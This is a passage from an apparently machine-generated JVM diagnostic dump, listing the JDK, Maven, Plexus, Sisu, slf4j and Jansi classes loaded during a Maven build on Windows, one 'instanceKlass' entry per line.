sun/util/calendar/CalendarUtils\ninstanceKlass sun/util/calendar/CalendarDate\ninstanceKlass sun/util/resources/Bundles$CacheKeyReference\ninstanceKlass java/util/ResourceBundle$ResourceBundleProviderHelper$$Lambda$30\ninstanceKlass java/util/ResourceBundle$ResourceBundleProviderHelper\ninstanceKlass sun/util/resources/Bundles$CacheKey\ninstanceKlass java/util/ResourceBundle$1\ninstanceKlass jdk/internal/misc/JavaUtilResourceBundleAccess\ninstanceKlass sun/util/resources/Bundles\ninstanceKlass sun/util/resources/LocaleData$LocaleDataStrategy\ninstanceKlass sun/util/resources/Bundles$Strategy\ninstanceKlass sun/util/resources/LocaleData$1\ninstanceKlass sun/util/cldr/CLDRLocaleProviderAdapter$$Lambda$29\ninstanceKlass sun/util/locale/provider/CalendarDataUtility$CalendarWeekParameterGetter\ninstanceKlass sun/util/locale/provider/LocaleServiceProviderPool$LocalizedObjectGetter\ninstanceKlass sun/util/locale/provider/LocaleServiceProviderPool\ninstanceKlass sun/util/locale/provider/CalendarDataUtility\ninstanceKlass sun/util/calendar/CalendarSystem\ninstanceKlass java/util/Calendar$Builder\ninstanceKlass java/util/StringTokenizer\ninstanceKlass sun/util/locale/provider/AvailableLanguageTags\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$28\ninstanceKlass java/util/ServiceLoader$ProviderImpl\ninstanceKlass java/util/ServiceLoader$Provider\ninstanceKlass java/util/ServiceLoader$1\ninstanceKlass sun/util/resources/cldr/provider/CLDRLocaleDataMetaInfo\ninstanceKlass jdk/internal/module/ModulePatcher$PatchedModuleReader\ninstanceKlass java/util/ServiceLoader$3\ninstanceKlass java/util/ServiceLoader$2\ninstanceKlass java/util/ServiceLoader$LazyClassPathLookupIterator\ninstanceKlass java/util/concurrent/CopyOnWriteArrayList$COWIterator\ninstanceKlass jdk/internal/loader/AbstractClassLoaderValue$Memoizer\ninstanceKlass java/util/ServiceLoader$ModuleServicesLookupIterator\ninstanceKlass java/util/ServiceLoader\ninstanceKlass sun/util/cldr/CLDRLocaleProviderAdapter$1\ninstanceKlass sun/util/locale/StringTokenIterator\ninstanceKlass sun/util/locale/ParseStatus\ninstanceKlass sun/util/cldr/CLDRBaseLocaleDataMetaInfo\ninstanceKlass sun/util/locale/provider/LocaleDataMetaInfo\ninstanceKlass sun/util/locale/provider/LocaleProviderAdapter$1\ninstanceKlass java/util/ResourceBundle\ninstanceKlass java/util/ResourceBundle$Control\ninstanceKlass sun/util/resources/LocaleData\ninstanceKlass sun/util/locale/provider/LocaleResources\ninstanceKlass sun/util/locale/LanguageTag\ninstanceKlass sun/util/locale/provider/ResourceBundleBasedAdapter\ninstanceKlass sun/util/locale/provider/LocaleProviderAdapter\ninstanceKlass java/util/spi/LocaleServiceProvider\ninstanceKlass java/util/zip/Checksum$1\ninstanceKlass java/util/zip/CRC32\ninstanceKlass java/util/zip/Checksum\ninstanceKlass sun/util/calendar/ZoneInfoFile$ZoneOffsetTransitionRule\ninstanceKlass sun/util/calendar/ZoneInfoFile$1\ninstanceKlass sun/util/calendar/ZoneInfoFile\ninstanceKlass java/util/TimeZone\ninstanceKlass java/util/Calendar\ninstanceKlass java/text/AttributedCharacterIterator$Attribute\ninstanceKlass com/google/inject/matcher/AbstractMatcher\ninstanceKlass com/google/inject/matcher/Matcher\ninstanceKlass com/google/inject/spi/TypeConverter\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$LoggerProvider\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$DefaultsModule\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$ContainerModule\ninstanceKlass java/util/concurrent/locks/ReentrantReadWriteLock$WriteLock\ninstanceKlass java/util/concurrent/locks/ReentrantReadWriteLock$ReadLock\ninstanceKlass java/util/concurrent/locks/ReentrantReadWriteLock\ninstanceKlass java/util/concurrent/locks/ReadWriteLock\ninstanceKlass org/eclipse/sisu/inject/ImplicitBindings\ninstanceKlass org/eclipse/sisu/inject/MildValues$InverseMapping\ninstanceKlass org/eclipse/sisu/inject/MildValues\ninstanceKlass org/eclipse/sisu/inject/Weak\ninstanceKlass java/util/concurrent/atomic/AtomicReferenceFieldUpdater$AtomicReferenceFieldUpdaterImpl$1\ninstanceKlass java/util/concurrent/atomic/AtomicReferenceFieldUpdater\ninstanceKlass org/eclipse/sisu/inject/RankedSequence$Content\ninstanceKlass org/eclipse/sisu/inject/RankedSequence\ninstanceKlass org/eclipse/sisu/inject/BindingSubscriber\ninstanceKlass org/eclipse/sisu/inject/DefaultBeanLocator\ninstanceKlass org/eclipse/sisu/inject/DeferredClass\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$LoggerManagerProvider\ninstanceKlass org/eclipse/sisu/inject/DeferredProvider\ninstanceKlass com/google/inject/Provider\ninstanceKlass com/google/inject/AbstractModule\ninstanceKlass org/codehaus/plexus/context/Context\ninstanceKlass org/eclipse/sisu/inject/BindingPublisher\ninstanceKlass org/eclipse/sisu/inject/RankingFunction\ninstanceKlass org/eclipse/sisu/space/ClassSpace\ninstanceKlass javax/inject/Provider\ninstanceKlass org/eclipse/sisu/bean/BeanManager\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanLocator\ninstanceKlass org/codehaus/plexus/classworlds/ClassWorldListener\ninstanceKlass com/google/inject/Module\ninstanceKlass org/eclipse/sisu/inject/MutableBeanLocator\ninstanceKlass org/eclipse/sisu/inject/BeanLocator\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer\ninstanceKlass org/codehaus/plexus/MutablePlexusContainer\ninstanceKlass java/util/stream/ReduceOps$Box\ninstanceKlass java/util/stream/ReduceOps$AccumulatingSink\ninstanceKlass java/util/stream/TerminalSink\ninstanceKlass java/util/stream/Sink\ninstanceKlass java/util/stream/ReduceOps$ReduceOp\ninstanceKlass java/util/stream/TerminalOp\ninstanceKlass java/util/stream/ReduceOps\ninstanceKlass java/util/function/Function$$Lambda$27\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/extension/internal/CoreExports$$Lambda$26\ninstanceKlass java/util/stream/Collectors$$Lambda$25\ninstanceKlass java/util/stream/Collectors$$Lambda$24\ninstanceKlass java/util/function/BinaryOperator\ninstanceKlass java/util/stream/Collectors$$Lambda$23\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/stream/Collectors$$Lambda$22\ninstanceKlass java/util/stream/Collectors$CollectorImpl\ninstanceKlass java/util/stream/Collector\ninstanceKlass java/util/stream/Collectors\ninstanceKlass org/apache/maven/extension/internal/CoreExports$$Lambda$21\ninstanceKlass sun/invoke/util/VerifyAccess$1\ninstanceKlass java/util/function/Function$$Lambda$20\ninstanceKlass java/lang/Class$3\ninstanceKlass java/util/EnumMap$1\ninstanceKlass java/util/stream/StreamOpFlag$MaskBuilder\ninstanceKlass java/util/stream/PipelineHelper\ninstanceKlass java/util/stream/Stream\ninstanceKlass java/util/stream/BaseStream\ninstanceKlass java/util/stream/StreamSupport\ninstanceKlass java/util/HashMap$HashMapSpliterator\ninstanceKlass java/util/Spliterator\ninstanceKlass org/apache/maven/extension/internal/CoreExports\ninstanceKlass org/codehaus/plexus/DefaultContainerConfiguration\ninstanceKlass org/codehaus/plexus/ContainerConfiguration\ninstanceKlass org/codehaus/plexus/util/BaseIOUtil\ninstanceKlass org/codehaus/plexus/util/xml/XMLWriter\ninstanceKlass org/codehaus/plexus/util/xml/Xpp3Dom\ninstanceKlass org/codehaus/plexus/util/xml/pull/MXParser\ninstanceKlass org/codehaus/plexus/util/xml/pull/XmlPullParser\ninstanceKlass org/codehaus/plexus/util/xml/Xpp3DomBuilder\ninstanceKlass java/util/regex/ASCII\ninstanceKlass java/util/Locale$1\ninstanceKlass java/util/regex/CharPredicates$$Lambda$19\ninstanceKlass java/util/regex/Pattern$$Lambda$18\ninstanceKlass java/util/regex/Pattern$CharPredicate$$Lambda$17\ninstanceKlass org/codehaus/plexus/util/ReaderFactory\ninstanceKlass org/apache/maven/project/ExtensionDescriptor\ninstanceKlass org/apache/maven/project/ExtensionDescriptorBuilder\ninstanceKlass org/apache/maven/extension/internal/CoreExtensionEntry\ninstanceKlass org/apache/maven/shared/utils/logging/AnsiMessageBuilder\ninstanceKlass org/codehaus/plexus/logging/Logger\ninstanceKlass org/apache/maven/cli/logging/Slf4jLoggerManager\ninstanceKlass org/slf4j/impl/MavenSlf4jSimpleFriend\ninstanceKlass org/slf4j/MavenSlf4jFriend\ninstanceKlass org/apache/commons/cli/CommandLine$$Lambda$16\ninstanceKlass org/apache/maven/cli/logging/impl/Slf4jSimpleConfiguration$1\ninstanceKlass org/apache/maven/cli/logging/BaseSlf4jConfiguration\ninstanceKlass org/codehaus/plexus/util/PropertyUtils\ninstanceKlass org/apache/maven/cli/logging/Slf4jConfiguration\ninstanceKlass org/apache/maven/cli/logging/Slf4jConfigurationFactory\ninstanceKlass java/lang/invoke/VarHandle$AccessDescriptor\ninstanceKlass org/slf4j/impl/OutputChoice\ninstanceKlass java/io/FileInputStream$1\ninstanceKlass sun/net/DefaultProgressMeteringPolicy\ninstanceKlass sun/net/ProgressMeteringPolicy\ninstanceKlass sun/net/ProgressMonitor\ninstanceKlass org/slf4j/impl/SimpleLoggerConfiguration$1\ninstanceKlass java/text/Format\ninstanceKlass org/slf4j/impl/SimpleLoggerConfiguration\ninstanceKlass org/slf4j/helpers/NamedLoggerBase\ninstanceKlass org/slf4j/impl/SimpleLoggerFactory\ninstanceKlass org/slf4j/impl/StaticLoggerBinder\ninstanceKlass org/slf4j/spi/LoggerFactoryBinder\ninstanceKlass java/util/Collections$3\ninstanceKlass java/net/URLClassLoader$3$1\ninstanceKlass java/net/URLClassLoader$3\ninstanceKlass jdk/internal/loader/URLClassPath$1\ninstanceKlass java/lang/CompoundEnumeration\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$1\ninstanceKlass java/util/Collections$EmptyEnumeration\ninstanceKlass org/slf4j/helpers/Util\ninstanceKlass org/slf4j/helpers/NOPLoggerFactory\ninstanceKlass java/util/concurrent/LinkedBlockingQueue$Node\ninstanceKlass java/util/concurrent/locks/AbstractQueuedSynchronizer$ConditionObject\ninstanceKlass java/util/concurrent/locks/Condition\ninstanceKlass java/util/concurrent/locks/AbstractQueuedSynchronizer$Node\ninstanceKlass java/util/concurrent/BlockingQueue\ninstanceKlass org/slf4j/helpers/SubstituteLoggerFactory\ninstanceKlass org/slf4j/ILoggerFactory\ninstanceKlass org/slf4j/event/LoggingEvent\ninstanceKlass org/slf4j/LoggerFactory\ninstanceKlass java/util/LinkedList$ListItr\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/apache/maven/cli/CLIReportingUtils\ninstanceKlass org/apache/maven/cli/MavenCli$$Lambda$15\ninstanceKlass java/util/function/BiConsumer\ninstanceKlass org/codehaus/plexus/interpolation/SimpleRecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/AbstractValueSource\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/StringSearchInterpolator\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/interpolation/BasicInterpolator\ninstanceKlass org/apache/maven/properties/internal/SystemProperties\ninstanceKlass java/util/Collections$UnmodifiableMap$UnmodifiableEntrySet$UnmodifiableEntry\ninstanceKlass java/util/Collections$UnmodifiableMap$UnmodifiableEntrySet$1\ninstanceKlass org/codehaus/plexus/util/Os\ninstanceKlass org/apache/maven/properties/internal/EnvironmentUtils\ninstanceKlass java/util/LinkedList$Node\ninstanceKlass java/util/AbstractList$Itr\ninstanceKlass org/apache/commons/cli/DefaultParser\ninstanceKlass org/apache/commons/cli/Util\ninstanceKlass org/apache/commons/cli/CommandLine$Builder$$Lambda$14\ninstanceKlass java/util/function/Consumer\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/commons/cli/CommandLine$Builder\ninstanceKlass org/apache/commons/cli/CommandLine\ninstanceKlass java/util/LinkedHashMap$LinkedHashIterator\ninstanceKlass org/apache/commons/cli/Parser\ninstanceKlass org/apache/maven/cli/CleanArgument\ninstanceKlass org/apache/commons/cli/OptionValidator\ninstanceKlass org/apache/commons/cli/Option$Builder\ninstanceKlass org/apache/commons/cli/Option\ninstanceKlass org/apache/commons/cli/Options\ninstanceKlass org/apache/commons/cli/CommandLineParser\ninstanceKlass org/apache/maven/cli/CLIManager\ninstanceKlass org/apache/maven/cli/logging/Slf4jStdoutLogger\ninstanceKlass sun/nio/fs/WindowsPath$1\ninstanceKlass sun/nio/fs/WindowsLinkSupport\ninstanceKlass org/eclipse/aether/DefaultRepositoryCache\ninstanceKlass org/apache/maven/project/ProjectBuildingRequest\ninstanceKlass org/eclipse/aether/RepositoryCache\ninstanceKlass org/apache/maven/execution/DefaultMavenExecutionRequest\ninstanceKlass java/util/IdentityHashMap$IdentityHashMapIterator\ninstanceKlass org/apache/maven/execution/MavenExecutionRequest\ninstanceKlass java/util/regex/IntHashSet\ninstanceKlass java/util/regex/Matcher\ninstanceKlass java/util/regex/MatchResult\ninstanceKlass java/lang/Shutdown$Lock\ninstanceKlass java/lang/Shutdown\ninstanceKlass java/util/Properties$LineReader\ninstanceKlass java/lang/ApplicationShutdownHooks$1\ninstanceKlass java/lang/ApplicationShutdownHooks\ninstanceKlass sun/net/www/protocol/jar/URLJarFileCallBack\ninstanceKlass sun/net/www/protocol/jar/JarFileFactory\ninstanceKlass sun/net/www/protocol/jar/URLJarFile$URLJarFileCloseController\ninstanceKlass java/net/URLClassLoader$2\ninstanceKlass org/fusesource/jansi/AnsiConsole$$Lambda$13\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass jdk/internal/jimage/ImageLocation\ninstanceKlass jdk/internal/jimage/decompressor/Decompressor\ninstanceKlass jdk/internal/jimage/ImageStringsReader\ninstanceKlass jdk/internal/jimage/ImageStrings\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/fusesource/jansi/AnsiConsole$$Lambda$12\ninstanceKlass jdk/internal/jimage/ImageHeader\ninstanceKlass org/fusesource/jansi/io/AnsiOutputStream$IoRunnable\ninstanceKlass sun/nio/ch/Util$4\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass sun/nio/ch/FileChannelImpl$Unmapper\ninstanceKlass sun/reflect/annotation/AnnotationParser\ninstanceKlass java/nio/channels/FileChannel$MapMode\ninstanceKlass java/nio/channels/FileLock\ninstanceKlass jdk/internal/jimage/BasicImageReader$2\ninstanceKlass sun/nio/fs/WindowsChannelFactory$2\ninstanceKlass org/fusesource/jansi/AnsiConsole$1\ninstanceKlass jdk/internal/jimage/NativeImageBuffer$1\ninstanceKlass jdk/internal/jimage/NativeImageBuffer\ninstanceKlass jdk/internal/jimage/BasicImageReader$1\ninstanceKlass org/fusesource/jansi/internal/Kernel32\ninstanceKlass jdk/internal/jimage/BasicImageReader\ninstanceKlass jdk/internal/jimage/ImageReader\ninstanceKlass jdk/internal/jimage/ImageReaderFactory$1\ninstanceKlass java/lang/ClassLoader$NativeLibrary$Unloader\ninstanceKlass jdk/internal/jimage/ImageReaderFactory\ninstanceKlass jdk/internal/module/SystemModuleFinders$SystemImage\ninstanceKlass jdk/internal/module/SystemModuleFinders$SystemModuleReader\ninstanceKlass java/lang/module/ModuleReader\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$5\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$2\ninstanceKlass jdk/internal/module/Resources\ninstanceKlass org/fusesource/jansi/internal/JansiLoader$1\ninstanceKlass org/fusesource/jansi/internal/OSInfo\ninstanceKlass org/fusesource/jansi/internal/JansiLoader$$Lambda$11\ninstanceKlass org/fusesource/jansi/internal/JansiLoader\ninstanceKlass org/fusesource/jansi/internal/CLibrary\ninstanceKlass java/util/TreeMap$Entry\ninstanceKlass java/lang/ProcessEnvironment$CheckedEntry\ninstanceKlass java/lang/ProcessEnvironment$CheckedEntrySet$1\ninstanceKlass java/lang/ProcessEnvironment$EntryComparator\ninstanceKlass java/lang/ProcessEnvironment$NameComparator\ninstanceKlass org/fusesource/jansi/io/AnsiProcessor\ninstanceKlass org/fusesource/jansi/io/AnsiOutputStream$WidthSupplier\ninstanceKlass org/fusesource/jansi/AnsiConsole\ninstanceKlass org/fusesource/jansi/Ansi$$Lambda$10\ninstanceKlass java/util/concurrent/Callable\ninstanceKlass org/fusesource/jansi/Ansi\ninstanceKlass org/apache/maven/shared/utils/logging/LoggerLevelRenderer\ninstanceKlass org/apache/maven/shared/utils/logging/MessageBuilder\ninstanceKlass org/apache/maven/shared/utils/logging/MessageUtils\ninstanceKlass java/util/regex/Pattern$CharPredicate$$Lambda$9\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/regex/Pattern$$Lambda$8\ninstanceKlass java/util/regex/Pattern$BmpCharPredicate$$Lambda$7\ninstanceKlass java/util/regex/CharPredicates$$Lambda$6\ninstanceKlass java/util/regex/CharPredicates\ninstanceKlass java/util/regex/Pattern$$Lambda$5\ninstanceKlass java/util/regex/Pattern$BitClass$$Lambda$4\ninstanceKlass java/util/regex/Pattern$TreeInfo\ninstanceKlass java/util/regex/Pattern$$Lambda$3\ninstanceKlass java/util/regex/Pattern$BmpCharPredicate\ninstanceKlass java/util/regex/Pattern$CharPredicate\ninstanceKlass java/util/regex/Pattern$Node\ninstanceKlass java/util/regex/Pattern\ninstanceKlass org/apache/maven/cli/CliRequest\ninstanceKlass org/codehaus/plexus/interpolation/ValueSource\ninstanceKlass org/apache/maven/execution/ExecutionListener\ninstanceKlass org/eclipse/aether/transfer/TransferListener\ninstanceKlass org/apache/maven/eventspy/EventSpy$Context\ninstanceKlass org/codehaus/plexus/PlexusContainer\ninstanceKlass org/codehaus/plexus/logging/LoggerManager\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuildingRequest\ninstanceKlass org/apache/maven/building/Source\ninstanceKlass org/slf4j/Logger\ninstanceKlass org/apache/maven/exception/ExceptionHandler\ninstanceKlass org/apache/maven/cli/MavenCli\ninstanceKlass java/net/URLClassLoader$1\ninstanceKlass java/util/TreeMap$PrivateEntryIterator\ninstanceKlass java/util/TimSort\ninstanceKlass sun/security/action/GetBooleanAction\ninstanceKlass java/util/Arrays$LegacyMergeSort\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaFormBuffer\ninstanceKlass java/lang/invoke/LambdaFormEditor\ninstanceKlass java/lang/invoke/DelegatingMethodHandle$Holder\ninstanceKlass sun/invoke/util/Wrapper$1\ninstanceKlass java/lang/invoke/DirectMethodHandle$1\ninstanceKlass java/lang/invoke/ClassSpecializer$Factory\ninstanceKlass java/lang/invoke/ClassSpecializer$SpeciesData\ninstanceKlass java/lang/invoke/ClassSpecializer$1\ninstanceKlass java/lang/invoke/ClassSpecializer\ninstanceKlass java/lang/invoke/InnerClassLambdaMetafactory$1\ninstanceKlass org/codehaus/plexus/classworlds/launcher/Configurator$$Lambda$2\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationParser$$Lambda$1\ninstanceKlass jdk/internal/org/objectweb/asm/FieldVisitor\ninstanceKlass java/lang/invoke/InfoFromMemberName\ninstanceKlass java/lang/invoke/MethodHandleInfo\ninstanceKlass java/lang/invoke/AbstractValidatingLambdaMetafactory\ninstanceKlass java/lang/invoke/MethodHandleImpl$1\ninstanceKlass jdk/internal/misc/JavaLangInvokeAccess\ninstanceKlass java/lang/invoke/Invokers$Holder\ninstanceKlass java/lang/invoke/BootstrapMethodInvoker\ninstanceKlass java/io/FilenameFilter\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass sun/reflect/misc/ReflectUtil\ninstanceKlass sun/invoke/empty/Empty\ninstanceKlass sun/invoke/util/VerifyType\ninstanceKlass java/lang/invoke/InvokerBytecodeGenerator$CpPatch\ninstanceKlass jdk/internal/org/objectweb/asm/AnnotationVisitor\ninstanceKlass jdk/internal/org/objectweb/asm/Frame\ninstanceKlass jdk/internal/org/objectweb/asm/Label\ninstanceKlass jdk/internal/org/objectweb/asm/Type\ninstanceKlass jdk/internal/org/objectweb/asm/MethodVisitor\ninstanceKlass sun/invoke/util/BytecodeDescriptor\ninstanceKlass jdk/internal/org/objectweb/asm/Item\ninstanceKlass jdk/internal/org/objectweb/asm/ByteVector\ninstanceKlass jdk/internal/org/objectweb/asm/ClassVisitor\ninstanceKlass java/lang/invoke/InvokerBytecodeGenerator$2\ninstanceKlass java/lang/invoke/InvokerBytecodeGenerator\ninstanceKlass java/lang/invoke/LambdaForm$Holder\ninstanceKlass java/lang/invoke/LambdaForm$Name\ninstanceKlass java/lang/invoke/Invokers\ninstanceKlass java/lang/invoke/MethodHandleImpl\ninstanceKlass sun/invoke/util/ValueConversions\ninstanceKlass java/lang/invoke/DirectMethodHandle$Holder\ninstanceKlass java/lang/invoke/LambdaForm$NamedFunction\ninstanceKlass java/lang/invoke/LambdaMetafactory\ninstanceKlass org/codehaus/plexus/classworlds/strategy/AbstractStrategy\ninstanceKlass org/codehaus/plexus/classworlds/strategy/Strategy\ninstanceKlass org/codehaus/plexus/classworlds/strategy/StrategyFactory\ninstanceKlass java/util/NavigableMap\ninstanceKlass java/util/SortedMap\ninstanceKlass java/util/NavigableSet\ninstanceKlass java/net/URLClassLoader$7\ninstanceKlass jdk/internal/misc/JavaNetURLClassLoaderAccess\ninstanceKlass java/util/SortedSet\ninstanceKlass sun/nio/ch/IOStatus\ninstanceKlass java/nio/DirectByteBuffer$Deallocator\ninstanceKlass sun/nio/ch/Util$BufferCache\ninstanceKlass sun/nio/ch/Util\ninstanceKlass sun/nio/ch/NativeThread\ninstanceKlass java/io/Reader\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationParser\ninstanceKlass org/codehaus/plexus/classworlds/launcher/Configurator\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationHandler\ninstanceKlass java/nio/channels/Channels\ninstanceKlass sun/nio/ch/FileChannelImpl$Closer\ninstanceKlass sun/nio/ch/NativeDispatcher\ninstanceKlass sun/nio/ch/NativeThreadSet\ninstanceKlass sun/nio/ch/IOUtil$1\ninstanceKlass sun/nio/ch/IOUtil\ninstanceKlass java/nio/channels/spi/AbstractInterruptibleChannel\ninstanceKlass java/nio/channels/InterruptibleChannel\ninstanceKlass java/nio/channels/ScatteringByteChannel\ninstanceKlass java/nio/channels/GatheringByteChannel\ninstanceKlass java/nio/channels/SeekableByteChannel\ninstanceKlass java/nio/channels/ByteChannel\ninstanceKlass java/nio/channels/WritableByteChannel\ninstanceKlass java/nio/channels/ReadableByteChannel\ninstanceKlass java/nio/channels/Channel\ninstanceKlass java/util/Collections$EmptyIterator\ninstanceKlass sun/nio/fs/WindowsChannelFactory$Flags\ninstanceKlass sun/nio/fs/WindowsChannelFactory$1\ninstanceKlass sun/nio/fs/WindowsChannelFactory\ninstanceKlass sun/nio/fs/WindowsSecurityDescriptor\ninstanceKlass java/nio/file/attribute/FileAttribute\ninstanceKlass java/nio/file/Paths\ninstanceKlass java/lang/PublicMethods$Key\ninstanceKlass java/lang/PublicMethods$MethodList\ninstanceKlass org/codehaus/plexus/classworlds/ClassWorld\ninstanceKlass org/codehaus/plexus/classworlds/launcher/Launcher\ninstanceKlass sun/security/util/Debug\ninstanceKlass java/security/SecureClassLoader$DebugHolder\ninstanceKlass java/io/FilePermissionCollection$1\ninstanceKlass java/security/Permissions$1\ninstanceKlass sun/security/util/FilePermCompat\ninstanceKlass java/io/FilePermission$1\ninstanceKlass jdk/internal/misc/JavaIOFilePermissionAccess\ninstanceKlass sun/net/www/MessageHeader\ninstanceKlass java/net/URLConnection\ninstanceKlass java/security/PermissionCollection\ninstanceKlass java/security/SecureClassLoader$1\ninstanceKlass java/security/SecureClassLoader$CodeSourceKey\ninstanceKlass sun/nio/ByteBuffered\ninstanceKlass java/lang/Package$VersionInfo\ninstanceKlass java/lang/NamedPackage\ninstanceKlass java/util/jar/Attributes$Name\ninstanceKlass java/util/jar/Attributes\ninstanceKlass jdk/internal/loader/Resource\ninstanceKlass java/util/zip/ZipFile$InflaterCleanupAction\ninstanceKlass java/util/zip/Inflater$InflaterZStreamRef\ninstanceKlass java/util/zip/Inflater\ninstanceKlass java/util/zip/ZipEntry\ninstanceKlass java/util/jar/JarFile$1\ninstanceKlass jdk/internal/util/jar/JarIndex\ninstanceKlass java/nio/Bits$1\ninstanceKlass jdk/internal/misc/JavaNioAccess$BufferPool\ninstanceKlass java/nio/Bits\ninstanceKlass sun/nio/ch/DirectBuffer\ninstanceKlass jdk/internal/perf/PerfCounter$CoreCounters\ninstanceKlass jdk/internal/perf/Perf\ninstanceKlass jdk/internal/perf/Perf$GetPerfAction\ninstanceKlass jdk/internal/perf/PerfCounter\ninstanceKlass java/util/zip/ZipUtils\ninstanceKlass java/util/zip/ZipFile$Source$End\ninstanceKlass sun/invoke/util/Wrapper$Format\ninstanceKlass java/lang/invoke/MethodTypeForm\ninstanceKlass java/lang/invoke/MethodType$ConcurrentWeakInternSet\ninstanceKlass java/lang/Void\ninstanceKlass java/lang/invoke/VarForm\ninstanceKlass java/lang/invoke/VarHandleGuards\ninstanceKlass jdk/internal/util/Preconditions$1\ninstanceKlass java/util/function/BiFunction\ninstanceKlass java/lang/invoke/VarHandle$1\ninstanceKlass java/lang/invoke/VarHandles\ninstanceKlass sun/invoke/util/VerifyAccess\ninstanceKlass java/lang/invoke/MethodHandles$Lookup\ninstanceKlass java/security/Permission\ninstanceKlass java/security/Guard\ninstanceKlass java/lang/invoke/MemberName$Factory\ninstanceKlass java/lang/invoke/MethodHandles\ninstanceKlass java/util/concurrent/atomic/AtomicBoolean\ninstanceKlass java/io/RandomAccessFile$2\ninstanceKlass jdk/internal/misc/JavaIORandomAccessFileAccess\ninstanceKlass java/io/RandomAccessFile\ninstanceKlass java/io/DataInput\ninstanceKlass java/io/DataOutput\ninstanceKlass java/nio/file/attribute/FileTime\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$CompletionStatus\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$AclInformation\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$Account\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$DiskFreeSpace\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$VolumeInformation\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$FirstStream\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$FirstFile\ninstanceKlass java/util/Enumeration\ninstanceKlass java/util/ArrayDeque$DeqIterator\ninstanceKlass java/lang/ClassLoader$NativeLibrary\ninstanceKlass java/lang/ClassLoader$2\ninstanceKlass java/lang/StringCoding$StringEncoder\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$1\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher\ninstanceKlass sun/nio/fs/NativeBuffer$Deallocator\ninstanceKlass sun/nio/fs/NativeBuffer\ninstanceKlass sun/nio/fs/NativeBuffers\ninstanceKlass sun/nio/fs/WindowsFileAttributes\ninstanceKlass java/nio/file/attribute/DosFileAttributes\ninstanceKlass sun/nio/fs/AbstractBasicFileAttributeView\ninstanceKlass sun/nio/fs/DynamicFileAttributeView\ninstanceKlass sun/nio/fs/WindowsFileAttributeViews\ninstanceKlass sun/nio/fs/Util\ninstanceKlass java/nio/file/attribute/BasicFileAttributeView\ninstanceKlass java/nio/file/attribute/FileAttributeView\ninstanceKlass java/nio/file/attribute/AttributeView\ninstanceKlass java/nio/file/Files\ninstanceKlass java/nio/file/CopyOption\ninstanceKlass java/nio/file/attribute/BasicFileAttributes\ninstanceKlass sun/nio/fs/WindowsPath\ninstanceKlass java/nio/file/Path\ninstanceKlass java/nio/file/Watchable\ninstanceKlass java/net/URI$Parser\ninstanceKlass java/nio/file/FileSystems$DefaultFileSystemHolder$1\ninstanceKlass java/nio/file/FileSystems$DefaultFileSystemHolder\ninstanceKlass sun/nio/fs/WindowsPathParser$Result\ninstanceKlass sun/nio/fs/WindowsPathParser\ninstanceKlass java/util/Arrays$ArrayItr\ninstanceKlass java/nio/file/FileSystem\ninstanceKlass java/nio/file/OpenOption\ninstanceKlass java/nio/file/spi/FileSystemProvider\ninstanceKlass sun/nio/fs/DefaultFileSystemProvider\ninstanceKlass java/nio/file/FileSystems\ninstanceKlass java/util/zip/ZipFile$Source$Key\ninstanceKlass java/util/zip/ZipFile$Source\ninstanceKlass jdk/internal/misc/InnocuousThread$2\ninstanceKlass jdk/internal/misc/InnocuousThread$3\ninstanceKlass jdk/internal/ref/CleanerFactory$1$1\ninstanceKlass java/lang/ref/Cleaner$Cleanable\ninstanceKlass jdk/internal/ref/CleanerImpl\ninstanceKlass java/lang/ref/Cleaner$1\ninstanceKlass java/lang/ref/Cleaner\ninstanceKlass jdk/internal/ref/CleanerFactory$1\ninstanceKlass java/util/concurrent/ThreadFactory\ninstanceKlass jdk/internal/ref/CleanerFactory\ninstanceKlass java/util/zip/ZipFile$CleanableResource\ninstanceKlass java/util/zip/ZipCoder\ninstanceKlass java/lang/Runtime$Version\ninstanceKlass java/util/jar/JavaUtilJarAccessImpl\ninstanceKlass jdk/internal/misc/JavaUtilJarAccess\ninstanceKlass jdk/internal/loader/FileURLMapper\ninstanceKlass jdk/internal/loader/URLClassPath$JarLoader$1\ninstanceKlass java/util/zip/ZipFile$1\ninstanceKlass jdk/internal/misc/JavaUtilZipFileAccess\ninstanceKlass java/util/zip/ZipFile\ninstanceKlass java/util/zip/ZipConstants\ninstanceKlass 